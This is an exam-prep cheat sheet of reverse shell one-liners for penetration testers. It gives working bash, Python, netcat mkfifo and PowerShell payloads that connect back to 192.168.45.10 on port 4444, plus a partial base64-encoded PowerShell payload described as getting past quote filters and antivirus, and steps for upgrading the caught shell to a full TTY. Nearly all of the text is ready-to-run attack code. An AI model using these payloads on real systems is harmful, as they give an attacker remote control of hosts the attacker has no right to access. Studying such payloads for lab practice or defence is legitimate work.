The Ultimate OSCP Reverse Shell Cheatsheet: Bash, Python, PowerShell & Socat
Target Audience: Security testers needing bulletproof one-line reverse shells that bypass basic firewalls
Always stabilize your shell immediately after catching it. Running exploits or sudo checks inside an unstable raw shell risks terminating your session and wasting precious exam time.
# Fail-Proof Linux Reverse Shell One-Liners
When basic bash syntax fails due to character filters or shell limitations, use these tested alternative payloads.
# 1. Standard Bash -i
bash -c 'bash -i >& /dev/tcp/192.168.45.10/4444 0>&1'
# 2. Python 3 pty reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
# 3. Netcat without -e flag (MKFIFO pipe)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.10 4444 >/tmp/f# PowerShell & Windows Reverse Shells
Executing PowerShell reverse shells without invoking antivirus blocks or execution policy restrictions during labs.
# 1. Pure PowerShell TCP Client One-Liner
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.45.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# 2. Base64 Encoded PowerShell Execution (bypasses quotes in web injection)
# Encode your command into UTF-16LE base64, then run:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADQANQAuADEAMAAnACwANAA0ADQANAApADsA...# Spawning a Full Interactive TTY Shell (Ctrl+C & Arrow Keys)
Raw netcat connections crash if you press Ctrl+C and do not support tab completion or interactive programs like nano and sudo. Follow this 4-step ritual to upgrade.
# Step 1: In the reverse shell session
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: Background the shell with keyboard shortcut
Ctrl + Z
# Step 3: In your Kali Linux attacking machine terminal
stty raw -echo; fg
# Step 4: Press ENTER twice, then set terminal variables
export TERM=xterm-256color
stty rows 40 columns 120